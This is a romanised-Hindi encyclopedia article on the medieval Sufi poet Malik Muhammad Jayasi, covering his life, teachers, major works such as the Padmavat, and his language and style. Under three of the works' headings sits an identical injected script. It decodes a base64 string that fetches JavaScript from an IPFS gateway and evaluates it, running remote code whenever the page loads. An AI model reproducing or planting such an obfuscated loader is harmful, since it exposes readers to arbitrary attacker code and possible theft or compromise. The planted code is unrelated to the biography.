मलिक मुहम्मद जायसी

malik muhammad jayasi
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poora nam	malik muhammad jayasi
any nam	jayasi
janm	san 1397 ee॰ aur 1494 ee॰ ke bich
janm bhoomi	rayabareli zila, uttar pradesh
mrityu	'5 rajjab 949 hijari' (san 1542 ee.)
abhibhavak	malik raje asharaf
mukhy rachanaean	padmavat, akharavat, akhiri kalam, chitrarekha, kaharanama aadi
bhasha	avadhi
chhand	doha-chaupaee
shaili	alankarik shaili, pratikatmak shaili, shabd chitratmak shaili tatha atishayokti-pradhan shaili
inhean bhi dekhean	kavi soochi, sahityakar soochi

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malik muhammad jayasi (aangrezi: Malik Muhammad Jayasi, janm- 1397 ee॰ aur 1494 ee॰ ke bich, mrityu- 1542 ee.) bhaktikal ki nirgun premashrayi shakha v malik vansh ke kavi hai. jayasi atyant uchchakoti ke saral aur udar soofi mahatma the. hindi ke prasiddh soofi kavi, jinake lie keval 'jayasi' shabd ka prayog bhi, unake upanam ki bhaanti, kiya jata hai. yah is bat ko bhi soochit karata hai ki ve jayas nagar ke nivasi the. is sanbandh mean unaka svayan bhi kahana hai,

jayas nagar mor asthanoo.
nagarak naanv adi udayanoo.
tahaan devas das pahune aeooan.
bha vairag bahut sukh paeooan॥

isase yah bhi pata chalata hai ki us nagar ka prachin nam 'udayan' tha, vahaan ve ek 'pahune' jaise das dinoan ke lie aye the, arthath unhoanne apana nashvar jivan praranbh kiya tha athava janm liya tha aur phir vairagy ho jane par vahaan unhean bahut sukh mila tha.

janm

jayas nam ka ek nagar uttar pradesh ke rayabareli zile mean aj bhi vartaman hai, jisaka purana nam 'udyan nagar' 'udyanagar' ya 'ujjalik nagar' batalaya jata hai tatha usake 'kanchana khurd' namak muhalle mean malik muhammad jayasi ka janm sthan hona kaha jata hai. kuchh logoan ki dharana hai ki jayasi ki janm bhoomi gajipur mean kahian ho sakati hai kintu isake lie koee praman nahian milata. jayas ke vishay mean kavi ne anyatr bhi kaha hai,

jayas nagar dharam asthanoo.
tahavaan yah kavi kinh bakhanoo.

isase jan p data hai ki vah us nagar ko 'dharm ka sthan' samajhata tha aur vahaan rahakar usane apane kavy 'padmavat' ki rachana ki thi. yahaan par nagar ka 'dharm sthan' hona kadachit yah bhi soochit karata hai ki janashruti ke anusar vahaan upanishadakalin uddalak muni ka koee ashram tha. garsaan d tasi namak freanch lekhak ka to yah bhi kahana hai ki jayasi ko pray: 'jayasidas' ke nam se abhihit kiya jata raha hai.

janm ko lekar matabhed

jayasi ki kisi upalabdh rachana ke antargat usaki nishchit janm-tithi athava janm-sanvat ka koee spasht ullekh nahian paya jata. ek sthal par ve kahate haian,

bha avatar mor nau sadi.
tis barikh oopar kavi badi.

jisake adhar par keval itana hi anuman kiya ja sakata hai ki unaka janm sambhavat: 800 hijari evan 900 hijari ke madhy, arthath sanh 1397 ee॰ aur 1494 ee॰ ke bich kisi samay hua hoga tatha tis varsh ki avastha pa chukane par unhoanne kavy-rachana ka prarambh kiya hoga.

parivar

jayasi ke nam ke pahale 'malik' upadhi lagi rahane ke karan kaha jata hai ki unake poorvaj eeran se aye the aur vahian se unake namoan ke sath yah zamiandar soochak padavi lagi a rahi thi kintu unake poorvapurushoan ke namoan ki koee talika abhi tak prapt nahian ho saki hai. unake pita ka nam malik raje asharaf bataya jata hai aur kaha jata hai ki ve mamooli zamiandar the aur kheti karate the. inake nana ka nam shekh al-hadad khaan tha. svayan jayasi ko bhi kheti karake jivika-nirvah karana prasiddh hai. kuchh logoan ka anuman karana ki 'malik' shabd ka prayog unake kisi nikat sambandhi ke 'barah hazar ka risaladar' hone ke karan kiya jata hoga athava yah ki sambhavat: svayan bhi unhoanne kuchh samay tak kisi sena mean kam kiya hoga, pramanoan ke abhav mean sandigdh ho jata hai. saiyad ale ka mat hai ki "mohalla gauanriyana ke nigalami malik khanadan se the" aur "unake purane sambandhi muhalla kanchana mean base the." unhoanne yah batalaya hai ki jayasi ka malik kabir nam ka ek putr bhi tha. malik muhammad jayasi kuroop aur ek aankh se kane the. kuchh log unhean bachapan se hi kane manate haian jabaki adhikaansh logoan ka mat hai ki chechak ke prakop ke karan ye kuroop ho gaye the aur usi mean inaki ek aankh chali gayi thi. usi or ka bayaan kan bhi nakam ho gaya. apane kane hone ka ullekh unhoanne svayan hi kiya hai :-

ek nayan kavi muhammad gumi.

soi bimoho jei kavi suni.. chaand jis jag vidhi otara. dinh kalank kinh ujiyara..

jag sujha ekah nainahaan. uva sook as nakhatanh maanhaan.. jo lahian aanbahian dabh n hoee. to lahi sugandh basaee n soee..

kinh samudr pani joan khara. to ati bheu asujh apara.. jo sumeru tirasool bina sa. bha kanchanagiri lag akasa..

jauan lahi ghari kalank n para. kaanch hoee nahian kanchan kara.. ek nain jas dapan, aur tehi niramal bhaoo. sab rupavant paanv jahi, mukh jobahian kai chau..

muhammad kavi jo prem ya, na tan rakat n maans.

jeian mukh dekha tian hansa, suna to aye aanhu..

uparyukt panktiyoan se anuman hota hai ki baean kan se bhi unhean kam sunaee p data tha. ek bar jayasi sherashah ke darabar mean ge, to badashah ne isaka muanh dekhakar hans diya. jayasi ne shaant bhav se poochha -

mohi kaan isasi ki koharahi?

arthath too mujh par hansa ya us kumhar par,

is par sherashah ne lajjit hokar kshama maangi.

jayasi ek sant prakriti ke grihasthi the. inake sat putr the lekin divar gir jane ke karan sabhi usamean dab kar mar gaye the. tabhi se inamean vairagy jag gaya aur ye fakir ban gaye.

shiksha

jayasi ki shiksha bhi vidhivath nahian huee thi. jo kuchh bhi inhonean shiksha-diksha prapt ki vah musalaman fakiroan, gorakhapanthi aur vedanti sadhu-santoan se hi prapt ki thi.

guru-parampara

jayasi ne apani kuchh rachanaoan mean apani guru-parampara ka bhi ullekh kiya hai. unaka kahana hai, "saiyad asharaph, jo ek priy sant the mere lie ujjval panth ke pradarshak bane aur unhoanne prem ka dipak jalakar mera hriday nirmal kar diya. unaka chela ban jane par maian apane pap ke khare samudri jal ko unhian ki nav dvara par kar gaya aur mujhe unaki sahayata se ghat mil gaya, ve jahaangir chishti chaand jaise nishkalank the, sansar ke makhadoom (svami) the aur maian unhian ke ghar ka sevak hooan". "saiyad asharaph jahaangir chishti ke vansh mean nirmal ratn jaise hazi hue tatha unake anantar shekh mubarak aur shekh kamal hue".

char mitroan ka varnan

jayasi ne 'padmavat' (22) mean apane char mitroan ki charcha ki hai, jinamean se yusuf malik ko 'pandit aur jnani' kaha hai, salar evan miyaan salone ki yuddh-priyata evan virata ka ullekh kiya hai tatha b de shekh ko bhari siddh kahakar smaran kiya hai aur kaha hai ki ye charoan mitr unase milakar ek chihn ho ge the parantu unake poorvajoan evan vanshajoan ki bhaanti in logoan ka bhi koee pramanik parichay upalabdh nahian hai.

jayasi ka khud ke bare mean kathan

jayasi saiyyad asharaf ko pyare pir manate haian aur svayan ko unake dvar ka murid batate haian. unaki kavy shaili mean --

so mora guru tinh hoan chala.

dhova pap panisir mela.. pem piyalaya panth lakhava. arapu chakhi mohian booand chakhava.. jo madhu chadha n utari kava.

pareu mati pasuan pheri arava..

ek sthan par vo apane bare mean kafi vinamr bhav se kahate haian:-

muhammad malik pem madhubhora.

nauan b dera darapan thora.. jev- jeanv budha tevan- tevan nava. khudi kee khyal n kava.. hath piyala sath suraanee. pem pitilee are nibahi.. budhi khoee aur laj ganvaee. ajahooan ais dhari larikaee.. pata n rakha duhavee aanta. mata kalalin ke ras maanta.. doodh piyasavavi tes udhara. balak hoee paratinh bara.. khuan latuan chahuan khela. bheu ajan char sir mela..
pem katori naike mata piyavi doodh.

balak piya chahi, kya magar kya boodh..

is panktiyoan se lagata hai ki ye prem- madhu ke bhramar the. jayasi sansar ko asthir manate the, unake hisab se prem aur sadbhav hi sthir hai ya rahega, jabaki sansar ki tamam vastuean asthir hai. jayasi ne sansar ki asthirata ka varnan any sthal par is prakar kiya hai --

yah sansar jhooth thir nahian.

taruvar pankhi tar parachhahian.. mor mor ki raha n koee. jaai uva jag athava soee..

samudr tarang uthai ady koopa. pani jas bulabula hoee. phoot bismadi milahan jal soee.. malik muhammad panthi ghar hi mahian udas.

kabahooan sanvarahi man kai, kavahooan tapak ubas..

ek sthan par chitrarekha mean unhoanne apane bare mean likha hai:-

muhamad sayar din duni, mukh aanbrit benan. badan jis jag chand sapooran, ek jis nenan.

kritiyaan

[[chitr:Padmawat-Malik-Mohmmad-Jayasi.jpg|thumb|padmavat]] jayasi ki 21 rachanaoan ke ullekh milate haian jisamean padmavat, akharavat, akhiri kalam, kaharanama, chitrarekha adi pramukh haian par unaki khyati ka adhar padmavat granth hi hai. isaki bhasha avadhi hai aur isaki rachana shaili par adikal ke jain kaviyoan ki doha chaupaee paddhati ka prabhav p da hai. 'padmavat' ka rachanakal unhoanne 147 hijari ('san nau se saiantalis ahai'- padmavat 24). arthath 1540 ee॰ batalaya hai. 'padmavat' ke antim aansh (653) ke adhar par yah bhi kaha ja sakata hai ki use likhate samay tak ve vriddh ho chuke the, "unaka sharir kshin ho gaya tha, unaki drishti mand p d gayi thi, unake daant jate rahe the unake kanoan mean sunane ki shakti nahian rah gayi thi, sir jhuk gaya tha, kesh shvet ho chale the tatha vichar karane tak ki shakti kshin ho chali thi" kintu isaka koee sanket nahian hai ki is samay ve kitane varsh ki avastha tak pahuanch chuke the. jayasi ne 'akhiri kalam' ka rachanakal dete samay bhi keval itana hi kaha hai:-

nau se baras chhatis jo bhe.
tab yah kavita akhar kahe'.

arthath 936 hijari athava sanh 1529 ee. ke a jane par maine is kavy ka nirman kiya. 'padmavat' ('padmavat' 13-17), mean sultan sherashah soor (san 1540-1545 ee.) tatha 'akhiri kalam' mean mugal badashah babar (san 1526-1530 ee.) ke nam shahe vaqt ke roop mean avashy liye haian aur unaki nyoonadhik prashansa bhi ki hai, jisase soochit hota hai ki ve unake samakalin the. nerasharif (zila patana, bihar) vale khanakah ke pustakalay mean farasi aksharoan mean likhit purani pratiyoan ka ek sangrah mila hai, jisamean jayasi ki 'akharavat' ki bhi ek prati mili hai. usamean usaka lipikal juma 8 julkad sanh 911 hijari arthath sanh 1505 ee. diya gaya jan p data hai, jo pratyakshat: purana samay hai. prophesar saiyad hasan asakari ka anuman hai ki vah vastut: 'akharavat' ka rachanakal hoga, jo pratilipi karate samay mool prati se jyoan ka tyoan uddhrit kar liya hoga. tadanusar unaka kahana hai ki yadi vah jayasi ki sarvapratham rachana siddh ki ja sake to unake janm sanvat ka pata laga lena hamare lie asambhav nahian rah jata. sanh 911 hijari arthath sanh 1505 ee. mean uparyukt 30 varsh ka samay ghatakar sanh 881 hijari arthath 1475 ee. laya ja sakata hai aur yah saralatapoorvak batalaya ja sakata hai ki jayasi ka janm isake as-pas hua hoga. in prasang mean 910-11 hijari ke us prachand bhookamp ka bhi ullekh kiya gaya hai, jisaki charcha abdullah ki 'tarikh daoodi' tatha badayooni ki 'muntakhabuattarikh' jaise itihas-granthoan mean ki gayi hai aur usake sath jayasi dvara 'akhiri kalam' (4) mean varnit bhookamp ki samanata dikhalakar uparyukt anuman ki pushti ka prayatn bhi kiya gaya hai parantu yahaan uparyukt "tis baris oopar kavi badi" ke anantar aye hue "avat udyatabhar b dahana" ke 'avat' shabd ki or kadachit yathesht dhyan nahian diya gaya hai. yadi usaka abhipray 'janm lete samay' mana jaye to usase granth-rachana ke samay ka arth nahian liya ja sakata. at: jab tak any spasht praman upalabdh n hoan, janmasambandhi uparyukt dharana sandigdh bani rahati hai. apaki anek rachanaaian bataee jati haian. sarvasammat rachanaean nimnalikhit haian:-

padmavat

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yah mahakavy jayasi ki kavy-pratibha ka sarvottam pratinidhi hai. isamean chittau d ke raja ralasen aur sianhaladvip ki rajakumari padmavati ki premakatha varnit hai. kavi ne kathanak itihas se liya hai parantu prastutikaran sarvatha kalpanik hai. bhav aur kala-paksh, donoan hi drishtiyoan se yah ek utkrisht rachana hai. padmavat inaka khyati ka sthayi stambh hai. 'padmavat' masanavi shaili mean rachit ek prabandh kavy hai. yah mahakavy 57 khando mean likha hai. jayasi ne donoan ka mishran kiya hai. padmavat ki bhasha avadhi hai. chaupaee namak chhand ka prayog isame milata hai. inaki prabandh kushalata kamal ki hai. jayasi ke mahattv ke sambandh mean baboo gulabaray likhate hai:- jayasi mahanh kavi hai ,unamean kavi ke samast sahaj gun vidman hai. unhoanne samayik samasya ke lie prem ki pir ki den di. us pir ko unhoanne shaktishali mahakavy ke dvara upasthit kiya . ve amar kavi hai.

akharavat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

akharavat srishti ki rachana ko varny vishay banaya gaya hai. akharavat ke vishay mean jayasi ne isake kal ka varnan kahian nahian kiya hai. saiyyad kalb mustapha ke anusar yah jayasi ki aantim rachana hai.

akhiri kalam

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'akhiri kalam' granth mean islami manyata ke anusar pralay ka varnan hai. jayasi rachit mahanh granth ka sarvapratham prakashan farasi lipi mean hua tha. is kavy mean jayasi ne masanavi- shaili ke anusar eeshvar- stuti ki hai.

chitrarekha

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yah bhi ek premakatha hai kintu 'padmavat' ki tulana mean yah ek dvitiy shreni ki rachana hai. jayasi ne padmavat ki hi bhaanti "chitrarekha' ki shuruat bhi sansar ke srijanakarta ki vandana ke sath kiya hai. isamean jayasi ne srishti ki udbhav ki kahani kahate hue karatar ki prashansa mean bahut kuchh likha hai. isake alava isamean unhoanne paigambar muhammad sahab aur unake char mitroan ka varnan suandarata ke sath kiya hai. is prashansa ke bad jayasi ne is kavy ki asal katha aranbh kiya hai.

kaharanama

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kaharanama ka rachana kal 947 hijari bataya gaya hai. yah kavy granth kaharava ya kahar git uttar pradesh ki ek lok- git par adharit mean kavi ne kaharanam ke dvara sansar se doli jane ki bat ki hai.

inake atirikt 'mahari baeesi' tatha 'masalanama' bhi apaki hi rachanaean mani jati haian parantu jayasi ki prasiddhi ka adhar to 'padmavat' mahakavy hi hai.

any kritiyaan

jayasi ki mukhy kritiyoan ke alava inaki atirikt 'masada', 'kaharanama', 'mukaharanama' v 'mukharanama', 'muharanama', ya 'holinama', 'khurvanama', 'sankaranama', 'champavat', 'matakavat', 'itaravat', 'lakharavat', 'makharavat' ya 'sukharavat' 'laharavat', 'nainavat', 'ghanavat', 'paramarth jayasi' aur 'pusinama' rachanaean bhi jayasi ki batayi jati haian. kintu inake vishay mean kuchh bhi jnat nahian hai.

bhav paksh

jayasi rasasiddh kavi haian. apake kavy ka bhav-paksh tatha kala-paksh donoan hi saman roop se prabhavashali haian. apaki rachanaoan ki kavyagat visheshataean is prakar haian- jayasi ne bharatiy premakhyanoan ko apane kavy ka vishay banaya aur unake madhyam se adhyatmik rahasyoan ko prastut kiya. 'padmavat' kavy ke roop mean ek prem katha hai kintu usamean atma-paramatma ka madhur sambandh tatha soophi upasana-paddhati ki vividh manyataean pratikatmak roop mean varnit haian. 'padmavat' ke roopak-paksh ko svayan kavi ne spasht kiya hai-

tan chitur man raja kinha. hiy sianhal budhi padmini chinha॥
guru sua jehi panth dikhava. bin guru jagath ko niragun pava॥

bharatiy saundary-varnan ki paramparagat shaili ko hi jayasi ne apanaya hai. yah shaili 'nakh-shikh varnan' kahalati hai. kavi ne padmavati ke saundary-varnan mean apane parampara-parichay aur mohak bimb-vidhan ka parichay diya hai-

bhanvar kes vah malati rani. bisahar lurahian lehian araghani॥

sasi-mukh, aang malayagiri basa. nagin jhaanpi linh chahuan pasa॥

prakriti-varnan ki jayasi ke kavy mean kami hai kintu vah shrriangar ka sahayak hokar aya hai. vah svatantr prakriti-chitran n hokar ras ke uddipan hetu hi prayukt hua hai; yatha

katik sarad chand ujiyari. jag sital hauan birahai jari॥
bha baisakh tapani ati lagi. choa chir chandan bha agi.

alankarik evan namaparigananatmak prakar ka prakriti-varnan bhi 'padmavat' mean vidyaman hai. jayasi ka rahasyavad hindi-sahity ki amooly nidhi hai. aanchalik sansparsh evan manav-manovijnan ke sahayog se jayasi ne bharatiy nari ka bhavy chitr ubhara hai; yatha-

barasai megh chuvahian nainaha. chhapar chhapar hoi rahi binu naha॥
korauan kahaan that nav saja. tum binu kant n chhajani chhaja॥

jayasi soophi sampraday ke anuyayi haian, jisamean sadhak prem ki sadhana se hi sadhy ko pa sakata hai. yahi paralaukik prem jayasi ke granthoan mean laukik prem banakar avatarit hua hai. jivatma ke eeshvar se milan ka yah roopak, rahasy-bhavana ke sath kavi ne prastut kiya hai. achary shukl ke mat mean to shuddh rahasyavad keval jayasi ke kavy mean hi prapt hota hai.

kala paksh

jayasi ki rachanaoan mean vividh rasoan ka samavesh b di hi saphalata ke sath kiya gaya hai. shrriangar ke atirikt vir, raudr, vibhats rasoan ka marmik chitran bhi jayasi ki kavita mean upalabdh hai.

bhasha

jayasi ki bhasha theth avadhi hai. unhoanne usake vyakaran sammat svaroop par vichar n karake usamean madhury aur mridulata ke sanvarddhan par hi adhik dhyan diya hai. yahi karan hai ki usamean vyakaran-sambandhi ashuddhiyaan haian parantu shruti-madhury aur hriday ko chhoone ki adbhut shakti hai.

shaili

jayasi ne prabandh shaili ko apane uddeshy ke adhik anukool samajha. unhoanne lok-prachalit bharatiy premakathaoan ka adhar lekar mahakavy ki rachana ki aur sath hi videsh masanavbi shaili ko bhi sthan diya. kavy-rachana mean apane alankarik shaili, pratikatmak shaili, shabd chitratmak shaili tatha atishayokti-pradhan shailiyoan ka prayog kiya hai.

chhand

jayasi ne doha-chaupaee, chhandoan ka prayog kiya hai. isi chhand-yojana ka charam vikas tulasi ke 'ramacharitamanas' mean prapt hota hai.

alankar

jayasi ne alankaroan ke prayog mean poorn udarata se kam liya hai. roop-varnan, yuddh, prakriti-chitran tatha adhyatmik tatvoan ki rahasy-yojana mean alankaroan ki poori sahayata li gee hai. apake priy alankaroan mean upama, roopak, utpreksha, roopakatishayokti adi ka vishesh roop se prayog hua hai.

jayasi hindi ke pratham mahakavy ke rachayita haian. apaki rasamayi prem-paddhati hindi kavy sahity ki moolyavan nidhi hai. ek sahityakar ke roop mean to ap pratishtha-prapt haian hi, apako sampradayik saumanasy ka sandesh-vahak bhi mana jana chahie.

mrityu

muhammad jayasi ke janm ki tarah hi inaki mrityu ke bhi matabhed mile hai. saiyad ale muhammad mehar jayasi ne kisi qazi saiyad husen ki apani notabuk mean di gayi jis tarikh '5 rajjab 949 hijari' (san 1542 ee.) ka malik muhammad jayasi ki mrityu tithi ke roop mean ullekh kiya hai, use bhi tab tak svikar nahian kiya ja sakata, jab tak usaka kahian se samarthan n ho jae. kaha jata hai ki inaka dehaant amethi ke asapas ke jangalo mean hua tha. amethi ke raja ne inaki samadhi banava di, jo abhi bhi hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• hindi sahity
• bhaktikal ke mahakavi malik muhammad jayasi